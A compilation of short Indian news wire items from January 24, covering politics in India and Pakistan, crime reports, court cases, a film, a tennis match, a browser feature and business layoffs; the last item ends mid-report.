Chandigarh, Jan 24 : A day after Prime Minister Narendra Modi named 21 islands of Andaman and Nicobar after Param Vir Chakra awardees, the Canada-based Prof Mohan Singh Memorial Foundation on Tuesday asked the Punjab government to start a syllabus in educational institutions as a tribute to the Gadar movement heroes for their sacrifice to free India.

"We urged Punjab Chief Minister Bhagwant Mann last year to open a university in the name of Gadar patriots, but it has not been opened so far," organization head Sahib Thind told the media here.

"We are going to meet the Chief Minister again to remind him about the promise to set up the university. Also we are going to demand to name villages, schools and streets in the ancestral places of those associated with the Gadar movement after their names," Thind told IANS.

The Prof Mohan Singh Memorial Foundation is also demanding that the contribution of the Gadar movement be introduced in the syllabi in schools and colleges.

The Gadar movement started in 1913 with the formation of the Hindustan Association of the Pacific Coast with its headquarters in San Francisco, US. It later became a nationalist movement to liberate India with the force of arms from British colonialism.

The foundation, a secular non-political human rights organization, has also been demanding an official apology for the Jallianwala Bagh massacre in the British Parliament.

The Komagata Maru tragedy is a dark chapter in Canadian history. The foundation has been lobbying for an apology in the Canadian Parliament for more than two decades. On the insistence of the foundation, Canadian Prime Minister Justin Trudeau formally apologised in the House of Commons for the incident on May 18, 2016.

On May 23, 1914, a steamship arrived in Vancouver carrying 376 passengers who had hopes for a new life in Canada. After a long journey from India, the majority of the passengers -- who were of Sikh, Muslim and Hindu origin -- were denied entry into Canada due to the laws in existence at the time.

"The Komagata Maru incident is a stain on Canada's past. But the history of our country is one in which we constantly challenge ourselves, and each other, to extend our personal definitions of who is a Canadian. We have learned, and will continue to learn, from the mistakes of our past. We must make sure to never repeat them," Trudeau had said in front of the descendants of those directly affected by the incident.
Islamabad, Jan 24 : Former Prime Minister and Pakistan Tehreek-e-Insaf (PTI) chief Imran Khan has called for fresh round of protests against the decision to appoint Syed Mohsin Raza Naqvi as the caretaker Chief Minister of Punjab, the country's largest province, by the Election Commission of Pakistan (ECP).

Terming the caretaker CM as "an enemy of PTI", Khan slammed the ECP for appointing a CM who will oust the PTI and bring back the PML-N led government in the province. Khan has also decided to not only take to the streets, but also challenge the appointment in court.

"We will not accept a corrupt person as the interim Chief Minister. We will hold a series of protests in all the cities across the country," Khan said.

Khan also said that Naqvi is very close to former President and head of Pakistan Peoples Party (PPP), Asif Ali Zardari.

Khan claimed the appointment of Naqvi as Punjab's interim CM is part of a bigger agenda that started with the regime change operation, which, he said, was masterminded by former Army chief General (Retd) Qamar Javed Bajwa.

"Naqvi had actively conspired against our government and had met various stakeholders and political parties to make the regime change operation successful," khan said.

"Moreover, Naqvi had made a plea bargain with the NAB (National Accountability Bureau) and returned millions of rupees, proving that he is corrupt. Hence, he does not qualify for the top position in Punjab," Khan added.

It is pertinent to mention here that Khan had announced dissolution of his governments in the Punjab and Khyber Pukhtunkhwa (KP) provinces to trigger political pressure on the ruling federal government to announce early general elections in the country. However, the government countered Khan's move, saying that there would be provincial-level elections in both Punjab and Khyber Pukhtunkhwa after the dissolution of the governments there.

It is believed that Khan's political tactics are losing ground quickly, especially after he failed to push the government into announcing early elections.

And now with the appointment of Naqvi as the interim CM of Punjab against his will, the political grounds have further weakened for Khan, with hopes of regaining power in the country's largest province slowly but surely fading away.
Agartala, Jan 24 : West Bengal Chief Minister and Trinamool Congress supremo Mamata Banerjee would visit poll-bound Tripura on February 6 and 7 to address election rallies and meetings.

Trinamool's Tripura state President Pijush Kanti Biswas said that before her visit, party's national General Secretary Abhishek Banerjee and a host of Bengal leaders would address election rallies across the state.

Talking to the media, Biswas, accompanied by party Rajya Sabha member Sushmita Dev and state party in-charge Rajib Banerjee, said that the party's candidates would be announced at the earliest and the central leaders are scrutinising the applications of the possible candidates.

"129 applications from all over Tripura submitted before the leadership willing to be the party candidates in the February 16 elections. Alliance with any other party not yet finalised," he said.

Biswas, a lawyer turned politician, said that if the Trinamool came to power after the elections, it would provide adequate relief and return their money to the 14 lakh people who had deposited money in various chit funds (ponzi schemes). He said that the BJP, before coming to power in 2018, assured that they would help the 14 lakh depositors in the chit funds but they did nothing, with the BJP government even using the assets and buildings of the chit fund companies.
New Delhi, Jan 24 : "Nothing Like Voting, I Vote for Sure," is the theme for this year's National Voters' Day (NVD).

The main purpose of the NVD celebration on January 25 is to create electoral awareness amongst citizens and encourage them to participate in the electoral process. Dedicated to the voters of the country, the National Voters' Day is also used to facilitate enrolment of voters, specially the newly eligible ones. New voters are felicitated and handed over their Elector Photo Identity Card (EPIC) in the NVD functions held across the country.

President Droupadi Murmu will be the Chief Guest at the national function being organised in New Delhi. Union Minister for Law and Justice, Kiren Rijiju will grace the function as Guest of Honour.

During the event, the President will give away the National Awards for the year 2022. National Awards for the Best Electoral Practices will be presented to State and District level officers for their outstanding performance in the conduct of elections during 2022 in different spheres such as IT initiatives, Security Management, Election Management, Accessible Election, Electoral Roll and contribution in the field of voter awareness and outreach. National Awards will also be given to important stakeholders like government departments, and media organizations for their valuable contribution towards voters' awareness.

Officials said that a first copy of the ECI Publication "Electing the First President- An illustrated Chronicle of India's Presidential Elections" will be presented to the President by Chief Election Commissioner Rajiv Kumar. The book, which is the first of its kind publication, gives glimpses into the historic journey of Presidential Elections in the country. It throws light on the nuances of the Presidential Electoral system and associated constitutional provisions through the timelines of the past 16 Presidential elections.

An ECI song - "Main Bharat Hoon- Hum Bharat Ke Matdata Hain" produced by ECI in association with Subhash Ghai Foundation, will also be screened. The song brings forth the power of vote and celebrates the spirit of inclusive, accessible, ethical, participative and festive elections in the largest and most vibrant democracy of the world.

Since 2011, National Voters' Day is celebrated on January 25 every year across the country to mark the foundation day of the Election Commission of India on January 25, 1950.
Ahmedabad, Jan 24 : The Vishwa Hindu Parishad has announced that it will not oppose the release of Shah Rukh Khan starrer 'Pathaan' in Gujarat.

VHP state secretary Ashok Raval made this announcement through a video message to its workers. Raval said there were 40 scenes in the movie which hurt the sentiments of the Hindus and the VHP and the Bajrang Dal had raised objections and decided to oppose it.

After the VHP raised the issue, the Censor Board had asked the movie's producers to remove those scenes. The demand was met by the director/producer of the movie and as the Hindu community's demands have been met, the organisation has decided that neither the VHP nor the Bajrang Dal activists will stage a protest against the movie.
Hyderabad, Jan 24 : After a break of two months, YSR Telangana Party president Y.S. Sharmila will resume her Praja Prasthanam Padyatra on January 28.

Announcing that she would resume the padyatra from the place where it was stopped by the state government last month, she vowed to continue her fight against "KCR rule". She came down heavily on Chief Minister K. Chandrasekhar Rao, popularly called KCR, for what she called failing the state on every parameter and every front.

Sharmila said KCR was shockingly setting for national politics, while failing Telangana's aspirations and keeping people in deep distress, for the last nine years.

"It has been only the YSRTP that steadfastly and unconditionally took on KCR and his corrupt and tyrannical government. We never bowed down even when they tried hard to corner us, abusing power and authority. With honesty in our intentions and affection for Telangana, and above all, recalling the people-friendly reign of YSR, we travelled across Telangana and covered 3,500 km, only to be troubled and threatened by KCR, who was now scared of our growing prominence and the manner in which we exposed their local MLAs and MPs," said Sharmila, daughter of former (undivided) Andhra Pradesh Chief Minister Y.S. Rajasekhara Reddy.

"We will continue to battle his inefficient rule marked by failed promises, as we did with Kaleshwaram or Palamuru or unemployment or other issues. The countdown for the end of this corrupt regime has begun," she said.

On the occasion, she mocked the BRS for their "failed" Khammam show and their dramatics to expand across the country, while failing in the state. "My entry to Paleru has rocked his morale and now he realised that the YSRTP is growing in its popularity and presence in the entire district along with contiguous parts of Nalgonda." Sharmila also ruled out early elections to the Telangana Assembly, as she claimed KCR was not ready to take on the anti-incumbency and abandon the much-needed stature as a CM to travel across the country.

She also lashed out at state Congress chief Revanth Reddy and state BJP President Bandi Sanjay for their inefficiency to "effectively expose KCR and his corruption".

BRS workers had allegedly set afire her bus and pelted stones on other vehicles in Warangal district on November 28. Later, police arrested Sharmila as she refused to call off the padyatra in view of the tense situation in the area.

Sharmila was later shifted to Hyderabad. The next day, she was arrested again amid high drama while leading a protest march towards the Chief Minister's official residence. She was driving a car damaged in the attack and wanted to stage a protest in front of the Chief Minister's residence. The police, however, stopped her enroute. When she refused to come out of the car, the police towed it away to a police station.

The padyatra, however, could not resume as the police had not given the permission.

The YSRTP approached Telangana High Court, which asked asked Sharmila to abide by the conditions imposed earlier while allowing her to resume the walkathon.
Gurugram, Jan 24 : A couple was arrested on charges of cannabis (ganja) smuggling on the Delhi-Jaipur Expressway in Manesar, the police said on Tuesday.

The police seized 70 kg ganja valued at Rs 10 lakh from their possession.

The arrested persons have been booked under the Narcotic Drugs and Psychotropic Substances (NDPS) Act.

According to the police, they received a tip-off about huge quantity of contraband being smuggled on the Delhi-Jaipur Expressway.

"After getting the information, the police rushed to the spot and overpowered the accused," said Preet Pal Sangwan, Assistant Commissioner of Police (Crime).

The couple has been identified as Sukhdev Singh alias Sukhu (30) and Priyanka (28).

Upon questioning, the duo disclosed that they had sourced the narcotics from Uttarakhand was about to sell them in Gurugram and adjoining areas.

The police said that the duo had been involved in drugs trade for the last four years.

"We are checking their criminal records and whether they were arrested earlier. A case under relevant sections of the NDPS Act has been registered against the accused at the Manesar police station," Sangwan said.
Silchar, Jan 24 : Jannat Khatun, a Nepali citizen who was imprisoned in the Central Jail Transit Camp here in Assam in November 2018, has been admitted to the hospital with multiple ailments.

She was arrested in the Katigorah area of Cachar district more than four years ago for allegedly entering India illegally. However, her family in Nepal had no clue about Khatun's whereabouts.

She was sent to jail after legal proceedings. At the end of the trial, the court announced a two-year sentence for her. The sentence expired on December 27, 2020. The woman has since been kept in the Central Jail Transit Camp (formerly Detention Camp) in Silchar.

A couple of months ago, through an organisation called Bal Suraksha Abhiyan in the Kalimpong area of West Bengal, Khatun's family received news that she was imprisoned in Silchar.

Following that, her son, Feroz Leheri, along with two relatives, rushed here last week.

They went to the jail to meet Khatun, and Leheri said that he would complete all the procedures within a day or two and take his mother back to Nepal.

Meanwhile, Khatun fell ill last week and has been admitted to the Silchar Medical College and Hospital (SMCH).

The principal of SMCH, Dr. Babul Bezbaruah, told IANS: "She has been suffering from multiple illnesses. She has gallstones and anaemia. However, we could not operate on her for the removal of a gallstone as she has jaundice too. Though the patient is stable now, her situation is complicated. We are keeping a close watch on her." It has been alleged that after the completion of her jail sentence, no steps were taken to send her back to Nepal. The superintendent of Central Jail in Silchar sent a letter to the authorities regarding this, but there was no response.

Sadhan Purkayastha, a member of the Citizens Rights Protection Committee, a human rights organisation, said that the woman had been admitted to the hospital and that the government should not delay things so much that her family ends up taking her dead body home.

"In 2018, my mother sustained a head injury. Following that, she lost some of her mental balance, and she went missing from home one day. We searched everywhere but could not trace her. We also filed a missing person report at the Haripur police station in the area where we live. But we failed to get any trace of her," said Feroze Leheri.
New Delhi, Jan 24 : A Delhi court has allowed extradition of Indian-origin Rajwinder Singh, accused of killing a woman at a beach in Queensland in 2018, from India to Australia to stand trial, media reports said.

Singh, 38, had moved an application in Delhi's Patiala House court seeking to give his consent for extradition to Australia earlier this month.

According to ABC News, after court's approval, Singh's extradition request needs to be signed off by the Ministry of External Affairs.

This could happen within the month, but by the end of February at the latest, according to lawyers, it reported.

Singh, who had earlier wished to go to Australia and contest the case there, claimed that he did not kill Toyah Cordingley.

"Australian Police should investigate the case," he said. Cordingley was walking her dog on Wangetti Beach, 40 km north of Cairns in Queensland, when Singh allegedly killed her in 2018.

Around three months ago, the Australian Police had declared a million dollar reward for any information leading to his arrest.Singh, who originally hails from Buttar Kalan in Punjab, used to work as a nurse in Innisfail, Queensland, IANS reported earlier.

"On November 4, via Twitter, the Australian High Commission had declared a reward of one million Australian dollars on the arrest of Singh, an Indian-origin Australian citizen, who had committed the gruesome murder of an Australian woman on October 21, 2018 in Queensland and had been absconding ever since," said police.

According to a senior police official, the Interpol had also issued Red Corner Notice (RCN) against the accused and the CBI had got a non-bailable warrant, under the Extradition Act, issued against him from the Patiala House court on November 21, 2022.

Singh was arrested from near GT-Karnal road in Delhi on November 26 last year by the Delhi Police's Special Cell.
Melbourne, Jan 24 : Two-time Australian Open champion Victoria Azarenka is back in the semifinals after a 10-year gap, defeating No.3 seed American Jessica Pegula 6-4, 6-1 in 1 hour and 37 minutes on Tuesday.

Azarenka will contest her first semifinal in Melbourne since her 2013 title run, her first Grand Slam semifinal since the 2020 U.S. Open and ninth overall.

Standing in her path in the last four is Wimbledon champion Elena Rybakina of Kazakhstan, who beat Jelena Ostapenko in straight sets earlier in the day.

Tuesday's result is Azarenka's first Top 5 win at a major since defeating Maria Sharapova in the 2012 US Open semifinals. Moreover, she moved on to 47 main draw victories at the Australian Open, equalling Steffi Graf in sixth place for the most wins in women's singles in the Open era.

"Her stability and consistency throughout, I wouldn't only say last year, I would say the years before that. She's been an incredible player," Azarenka said.

"She got me here (at AO 2021), so I definitely want revenge. She's a great friend of mine. I absolutely adore her. We have really tough battles every single time." The World No 3 Pegula found herself as the highest-ranked contender left following the defeat of Iga Swiatek and Coco Gauff but wasn't getting carried away.

"It's an interesting feeling, I guess. I still don''t really feel like that. I look at the draw and you have (Elena) Rybakina who won Wimbledon last year, you have Vika (Azarenka) who does really well here," said Pegula. "It feels like there's still a long way to go, to be honest." Pegula connected with a highlight-reel backhand pass under pressure, however, Azarenka consolidated a 3-0 lead in just 12 minutes of clinical hitting. The American then fended off six break points in an intriguing 10-minute hold to finely get on the scoreboard.

Despite Azarenka soaring 5-2 up, Pegula dug deep, stepping into rip on the return to erase two set points for 5-4. Azarenka halted the momentum swing with some fine volleying on Pegula's serve, sealing her fifth set point as another forehand from her opponent went long.

After such a fiercely contested opening set, Azarenka went from strength to strength in the second as Pegula ran out of ideas. The 33-year-old rubber-stamped her authority, sprinting onto a drop shot to clatter a backhand down the line. Anything the No.3 seed tried; Azarenka seemed a step ahead.
Junagadh, Jan 24 : A sadhu, Ramkrushnanand alias Rajbharti, committed suicide here on Tuesday. He took the extreme step as since the last few days, a letter exposing him and his activities and his audio/video clips were in circulation on social media.

Junagadh taluka police station sources said that Rajbharti committed suicide at his farm in Khadia village by shooting himself with his licensed weapon. The police have registered a case and have begun an investigation.

Sources said that since the last few days a letter was in circulation in Junagadh, alleging that the sadhu is a Muslim and his real name is Hujefa. He has sold the property of Ram bapu, who always believed in social service, whereas Rajbharti believed in business, he has started a real estate business and is having physical relations with many women.

Video clips in circulation show the sadhu drinking liquor, his sex chats and conversations with women are also in circulation. A photograph of him hugging a woman too is in circulation.
Mumbai, Jan 24 : Punjab Chief Minister Bhagwant Mann on Tuesday visited the Bombay Stock Exchange (BSE) and showcased the state as the most preferred investment destination across the country.

The Chief Minister, while interacting with the media after performing the bell ringing ceremony at the BSE here, showcased Punjab as a land of opportunities and invited companies to invest in the state.

He said entrepreneurs will be immensely benefited by investing in the state, which is rapidly emerging as the industrial hub of the country.

"Punjab has complete communal harmony, peace and amity, which are mainly responsible for overall development and prosperity in the state," he said.

The Chief Minister urged the industrialists to make optimum use of this congenial atmosphere backed by excellent infrastructure, power, skilled human resources and the best industrial and work culture to spread their business.

Extending a red carpet welcome to the industrialists, he said the government was always open for new ideas and innovations to boost the industrial growth in Punjab. "The day is not far away when Punjab will emerge as the industrial hub of the country," Mann said.

Inviting the captains of the industry to visit the state in the Invest Punjab Summit slated to be held next month at SAS Nagar, the Chief Minister said that the Invest Punjab Summit being organised on February 23-24 will prove to be a milestone in giving a major fillip to the industrial growth of the state.

He said the government has already finalised the arrangements for this mega event. Mann said the main motive behind giving fillip to industrialisation in the state is to reverse the trend of brain drain in the state by opening new vistas of employment for the youth.

On the occasion, Chief Executive Officer of the BSE, Sundararaman R., felicitated the Chief Minister.
Mumbai, Jan 24 : The Marathi film 'Jhimma', which released in 2021 and made many records for the regional Marathi cinema industry, is returning with its second part titled 'Jhimma 2'. The story of 'Jhimma' revolves around seven women from different age groups and socio-cultural backgrounds coming together and celebrating life.

The sequel will be directed by Hemant Dhome, and was announced through a special video which is a recreation of a popular scene from the first part of the franchise. The video also shows that new characters will be introduced in the sequel.

Director Hemant Dhome shared: "'Jhimma' wasn't just a film but a passion project. The way it was received by the audience was so heartwarming. The second part is going to be better and bigger for sure. With personalities like Aanand L. Rai in the team, we are sure to give another promising project." The film is being produced by Aanand L. Rai's Colour Yellow productions and Chalchitra Mandale.

Rai said: "We are so happy to do another film in the Marathi cinema. The first part was a huge success and even one of the top grossers of 2021. The film has a strong message which resonated well with the viewers and that's why we decided to back Chalchitra Mandalee in bringing Jhimma 2 for you. I'm very happy to join hands with Hemant and Kshitee." 'Jhimma 2' is written by Irawati Karnik, produced by Aanand L. Rai and Kshitee Jog. The film is co-produced by Viraj Gawas, Urfi Kazmi and Ajinkya Dhamal.
San Francisco, Jan 24 : Microsoft is reportedly testing a new split-screen feature for Edge that will let users compare two tabs side-by-side.

The feature was discovered by a Reddit user named Leopeva64-2 and is now available in the beta, dev, and canary versions of Microsoft Edge with an experimental flag, reports The Verge.

Once the feature becomes enabled, a new button will appear alongside the address bar, letting users split an Edge window into two separate tabs side-by-side.

Windows already allows you to compare tabs next to each other by dragging the tab to the right or left of the screen and using the built-in Windows split view, but doing this is fiddly unless you drag the tab all the way there, said the report.

This built-in split view in Edge makes it easier in a single click, without having to re-arrange your tabs or open up a new window of a browser.

Meanwhile, Microsoft ended support for Edge web browser on both Windows 7 and Windows 8/8.1.

The company has also ended support for Microsoft Edge WebView2 for both operating systems.

WebView2 is a developer control for embedding web content in applications.

Moreover, Chrome support for Windows 7 and Windows 8.1 has also ended, and now users will need to upgrade to Windows 10 or Windows 11 to use the browser.
Kolkata, Jan 24 : A 35-year-old man was lynched in West Bengal's Howrah district by two local youths after he made an attempt to prevent his minor daughter's molestation.

While the police have arrested one of the two youths, the other is absconding. The two are learnt to be brothers.

According to Howrah (rural) police superintendent, Swati Bhangalia, cases have been registered with charges of murder as well as under various sections of the Protection Of Children from Sexual Offences (POCSO) Act.

"The two accused are brothers. We have already arrested one of them. The other accused person is absconding," Bhangalia informed.

On Sunday evening, the minor girl, a student of Class 10, was returning home from her tuition class. The two accused stopped her and molested her. On being informed, her father rushed to the spot.

The father protested and tried to prevent the accused from their nefarious attempts. On being resisted, the two accused severely assaulted him. He fell down on the ground, bleeding profusely, as the accused persons fled from the scene.

The victim was first taken to a local hospital. As his condition deteriorated, he was shifted to the Uluberia Sub-Divisional Hospital on Monday wjere he brathed his last on Tuesday morning.

The members of the victim's family lodged a complaint at the local police station.

Meanwhile, the local people have alleged that molestation of young girls has become a regular feature in the area. They also complained that lack of police patrolling in the area has made the miscreants desperate.
New Delhi, Jan 24 : The Delhi High Court on Tuesday asked Delhi Police to inform whether the 2020 riots hate speeches cases it is dealing with are subject matter of the proceedings pending before the Supreme Court.

"If these hate speeches are also under consideration in the proceedings pending before the Supreme Court, would it be advisable for us to proceed with it?" a division bench of Justice Siddharth Mridul and Justice Talwant Singh said.

The bench was dealing with a bunch of petitions seeking FIRs against leaders like Union Minister Anurag Thakur, BJP leader Kapil Mishra and others for alleged hate speeches during riots.

The Supreme Court, on December 17, 2021 had asked the High Court to decide expeditiously, preferably within three months, on one of the petitions seeking FIR and investigation against politicians.

Furthermore, the court asked senior advocate Colin Gonsalves, who was representing one of the petitioners, Shaikh Mujtaba, regarding any instances in which the High Court had ordered that a retired judge launch a fact-finding investigation.

"Supreme Court has done so but has the High Court ever directed it? Supreme Court has powers under Article 142 which the High Court doesn't exercise," it held.

About the pendency of proceedings the bench said that none of these parties that are now impleaded were parties when these matters were first listed.

"That delay was occasioned not because of the court. They were not parties. That's the point," the court said.

"Today again we are told that there is only one petition before us and now the batch is clubbed again. The idea is to make sure that in this clutter, we don't lose the plot. We want to know whether these hate speeches are subject matter before Supreme Court," the court said.

On July 13, 2022, the HC had allowed the applications seeking impleadment of various political leaders like Thakur, Mishra and Parvesh Sahib Singh Verma, Congress leaders Rahul Gandhi and Sonia Gandhi, AAP's Manish Sisodia and AIMIM's Asaduddin Owaisi among others in the pleas.

The court listed the matter for the next hearing on February 2.
Islamabad, Jan 24 : Pakistan's Minister for Energy, Khurram Dastgir, said on Tuesday that the authorities have not been able to find out the reason behind the fault that caused countrywide power breakdown, adding that the federal government will also probe the possibility of "foreign intervention" in this, media reports said.

A major power breakdown caused by "frequency variation" in the transmission system hit large areas of the country at around 7:30 a.m. on Monday. Electricity wasn't fully restored till late at night, bringing life to a standstill in Pakistan as several cities were left without electricity, The News reported.

"There are concerns, and it has to be investigated if a foreign intervention was made via hacking of our power distribution system," Dastagir said in a press conference on Tuesday, as the restoration work continued past 24 hours after the country plunged into darkness.

The minister said that the "possibility of foreign intervention through the internet is low", however, the matter will be probed as there have been multiple incidents recently, The News reported.

Dastgir said that Prime Minister Shehbaz Sharif has formed a three-member inquiry committee which will be headed by Minister of State for Petroleum, Musadik Malik.

He said there will be shortage of electricity and the citizens will face power cuts in the next 48 hours, adding that the system will be completely restored by Thursday.

Dastgir also said that National Transmission and Despatch Company's (NTDC) 1,112 grid stations across Pakistan have been restored.
Mumbai, Jan 24 : Four unknown persons masquerading as Enforcement Directorate (ED) officers 'raided and looted a jewellery businessman of gold and cash worth over Rs 2 crore, the police said here on Tuesday.

The incident happened in the glittering Zaveri Bazar area - the hub of gold jewellery business in south Mumbai, according to officers at the LT Marg police station.

The four persons entered the office of the victim claiming to be 'ED officers', raided his premises and took away 3 kg gold worth Rs 1.70 crore and Rs 25 lakh in cash, before decamping.

Moving swiftly, the police have managed to apprehend two suspects who are being interrogated even as the incident sent shockwaves in the jewellery market.

The police are hunting for the other two accused and have lodged a case under various sections of the Indian Penal Code. Further probe is underway.
New Delhi, Jan 24 : Air India on Tuesday said that in light of the mitigating circumstances and the financial detriment already incurred by the crew during their period of de-rostering in wake of the peeing case, it considers that the license suspension of the Commander "excessive" and will be assisting him with an appeal.

Air India has closed its internal investigation into the actions by its crew operating and administrative staff supporting AI102 on November 26, 2022.

The airline said that the crew were approached by the complainant seeking assistance after allegedly being urinated on by a fellow passenger.

"In the absence of any witnesses, the crew took the complainant's allegation at face value and assisted her by providing fresh clothes, helping clean her belongings and relocating her to another business class seat of the same type as her original one," said the airline.

Air India said that the alleged perpetrator posed no risk to flight safety at any time in the judgement of the crew. "When awoken and confronted with the allegation, the alleged perpetrator was calm, co-operative, and professed ignorance of the allegation. He had not been served excessive alcohol by crew and did not appear intoxicated to the crew. The Commander was kept regularly informed by cabin crew. In the judgement of the crew, the alleged perpetrator posed no risk to flight safety at any time," it said.

Air India acknowledged that, in immediately taking the complainant's accusation at face value and providing assistance, it follows that the matter should have been reported as a prima facie case of a passenger "behaving in a disorderly manner toward other passengers" and, as such, meeting the description of unruly behaviour at paragraph 4.9(d)(ii) of Civil Aviation Requirements, Section 3, Series M, Part VI (theACAR).

The matter should have been classified and reported as such, without prejudice to any subsequent investigation into the facts, said the airline.

The airline said that upon receipt of the voyage report, ground staff did not challenge the crew's assessment and, therefore, also did not report the matter as an unruly incident.

"Based on the absence of witnesses to the alleged act, that the alleged perpetrator was peaceful, co-operative, and claiming ignorance of the event, that there was no risk to flight safety and that a resolution had been witnessed between the parties, the crew made a judgement call to record the matter as an (non-reportable) inflight incident rather than a (reportable) case of unruliness. It should also be noted that, in the absence of witnesses to the alleged act, crew were being asked to make a presumption of the accused's guilt which runs contrary to natural justice and due process," said Air India.
Jammu, Jan 24 : Congress leader Rahul Gandhi on Tuesday snubbed party colleague Digvijaya Singh for his comment on the surgical strikes in Pakistan in 2016.

In his statement, Singh had questioned the authenticity of the strikes undertaken by the BJP-led Central government, following a deadly terror attack in Jammu and Kashmir's Uri that killed 19 soldiers.

Addressing a media conference here, Rahul Gandhi said, "I don't agree with Digvijaya Singh's statement. We trust the Army. The Army need not clarify on what it does." "We are a democratic party. We are not a dictatorship. We do not appreciate Digvijaya Singh's views. I can assure you that Digvijaya Singh's views are not shared by the party." He, however, did not agree that Singh's statement would affect the ongoing Bharat Jodo Yatra.

"The Yatra has achieved something very powerful. This cannot be changed. The Yatra has been a success. India is being brought together", Rahul said.

Rahul later left Nagrota for Udhampur town in Jammu division, continuing his Yatra.

In his statement Singh had also said, "Forty of our CRPF jawans were martyred in Pulwama. CRPF officials had requested PM Modi that personnel should be airlifted, but PM Modi didn't agree. How did such a lapse occur? Till date, no report on Pulwama has been placed before Parliament." On February 14, 2019, a suicide bomber had rammed his explosives laden car into a convoy of the CRPF on the Jammu-Srinagar national highway at Lethpora in Pulwama district killing 40 troopers.

In retaliation for this attack, Indian Air Force fighter planes had bombed areas deep inside the Line of Control (LoC) in Pakistan-occupied Kashmir.
New Delhi, Jan 24: The Union Territory Government has ordered a high level and time-bound enquiry into the appointment of faculty members of the Jammu and Kashmir Institute of Management, Public Administration and Rural Development (IMPA).

The Government order, dated Jan 23, said that a four-member committee would inquire into the 'violation of rules' in the IMPA faculty appointments and submit its report to the Government within one month. It did not mention any specific period of the appointments.

The Committee shall look into irregularity of the IMPA Governing Council meetings over the last five years and whether the matter involving irregular appointments was ever brought to the notice of the Members of the Governing Council, the order states.

The Committee shall also evaluate the overall functioning of the IMPARD over the last five years and submit its recommendations for improving work/academic environment, management efficiencies and institutional integrity on a sustainable basis, it added.

Financial Commissioner and Additional Chief Secretary Home, Raj Kumar Goyal, has been appointed as Chairman of the inquiry committee. Director General IMPA Bipul Pathak, Secretary GAD, Dr Piyush Singla, Secretary Law, Achal Sethi, and DG Codes, Shadi Lal Pandita, have been appointed as members.

IMPA was created by the then State Government as an autonomous Society for in-service training of recruits and incumbents of the Kashmir Administrative Service on the pattern of Lal Bahadur Shastri National Academy of Administration in 1986. Recognizing the dire need for capacity building and skill enrichment among civil services, the then government planned to augment the manpower pool so as to create high quality managerial cadre for manning different echelons of the administration. The basic premise of establishing the Institute was to inculcate quality decision making competencies among different individuals and organizations in the government.

Until recently the appointment of the faculty members was the responsibility of an independent committee headed by the Chief Secretary. DG IMPA and two subject experts nominated by the Government would function as members. Of late, this job of selection of faculty members has been assigned to the Jammu and Kashmir Public Service Commission (PSC).

Another autonomous committee headed by DG IMPA was responsible for selection of the ministerial and class-IV staff.

Monday's order of inquiry, however, came as a surprise to many at the IMPA as it focussed sharply on the irregularities allegedly made in the last 5 years, notwithstanding the fact that no faculty appointments had taken place in the last 9 years.

The last faculty appointments took place in the year 2013 when one Associate Professor and 4 Assistant Professors were appointed directly. There were no substantive complaints of irregularity, favouritism or nepotism with regard to those appointments. There was just one complaint with regard to the eligibility of Dr Neena Bhalla as Associate Professor as some candidates pointed out that she had worked as Assistant Professor at a private college, rather than IMPA or a Government college. But no irregularity was established, said a senior official.

However, in the year 2016, complaints were galore with regard to the selection and appointment of the non-gazetted and ministerial staff, including four stenographers, who were picked by a committee headed by the then DG IMPA, Dr Arun Kumar (IAS).

According to the complaints, those selected by the committee included a son-in-law of then Deputy Director IMPA (Jammu), a son of the then Hostel Warden (Jammu) besides a son of a Driver and a daughter of a clerk working at IMPA Jammu. The complaints alleged that the then DG IMPA had also selected and appointed the sons of his Driver and Personal Security Officer (PSO) in violation of rules.

Some of the failed candidates complained that Dr Reva Sharma, Associate Professor (Rural Development), who was associated with the selection process, had also got her own domestic help appointed against a class-IV vacancy. According to some other complaints, the then Deputy Director (Kashmir) had managed the appointment of one of his Baramulla neighbours against a vacancy at IMPA Jammu. The incumbent was subsequently transferred to IMPA Srinagar.

Knowledgeable sources revealed that in the wake of these complaints, both the Anti-Corruption Bureau (ACB) and Crime Branch (CB) of the UT Government launched two separate investigations but neither of them reported any irregularities. After these two clean chits, what's the fresh enquiry going to find in the IMPA appointments? asked an insider.

(The content is being carried under an arrangement with indianarrative.com) --indianarrative
New Delhi, Jan 24: The Gwadar Haq Do Tehreek (Give rights to Gwadar) leader Maulana Hidayat Ur Rehman was sent to three-day remand by an anti-terrorism court in Quetta on Monday. He had been arrested earlier in January for inciting violence leading to the death of a policeman in the port city of Gwadar, being built by China.

The maulana had been leading a two-month mass protest over basic rights for the residents of Gwadar and also for the people of Balochistan. The Baloch live under heavy repression by the Pakistani government which discriminates against the local people on the basis of their ethnic identity.

The Haq Do Tehreek movement had blocked roads leading to the Gwadar port being built by the Chinese under Beijing's ambitious global project the Belt and Road Initiative (BRI).

The demands by the people included access to the sea for fishing which has been hindered by the Chinese; the banning of deep-sea trawling vessels; opening up the border with Iran for trade; putting a stop to liquor and drug smuggling which is harming Baloch youth as well as providing proper basic facilities like water and power to the local people.

Pakistani forces cracked down on the movement, leading to violence in which a policeman was shot dead. Section 144 was clamped so that people do not reconvene for the protest and all kinds of mobile and internet communications were stopped.

Though peace has returned to the city, the local people are simmering with discontent as their issues have not been addressed by the government.

The Baloch rebels the Balochistan Liberation Front as well as the Balochistan Liberation Army have meanwhile stepped up their attacks on the Pakistani military which they call occupying forces.

In their latest press statement on Monday, the Balochistan Liberation Army said that it had given the death sentence to two Pakistani agents Wali, son of Ghazi Khan Marri and Gulab Shah son of Saleem Shah, for spying.

Last week, the BLF had claimed that in one of its biggest attacks in recent days it killed nine Pakistani soldiers near the Iran border. The incident created a diplomatic kerfuffle between the foreign ministries of both countries. The BLF also said that it had attacked a train bringing troops to Balochistan.

Due to the crumbling situation in Pakistan financial crisis, food shortage, power blackouts, mounting insurgency from the Tehreek-e-Taliban (TTP), and rising attacks from Baloch nationalists work on the China Pakistan Economic Corridor (CPEC) has come to a standstill.

The situation in Balochistan remains bleak for the local people.

Baloch students are being abducted by Pakistani agencies, women are being assaulted as they participate in rallies asking for the return of their abducted loved ones and the Pakistani military is pressing helicopter gunships and drones in a seven-decade war-like situation that has become an every-day affair in Balochistan.

(The content is being carried under an arrangement with indianarrative.com) --indianarrative
San Francisco, Jan 24 : Deeper layoffs are coming in 2023 as most business economists have predicted that their companies will cut payrolls in the coming months, media reports said.

According to a report in CNN citing a new survey, only 12 per cent of economists -- surveyed by the National Association for Business Economics (NABE) -- anticipate employment will increase at their firms over the next three months, "down from 22 per cent this fall".

This is the first time since early days of the Covid pandemic that more business leaders anticipate jobs shrinking at their firms.

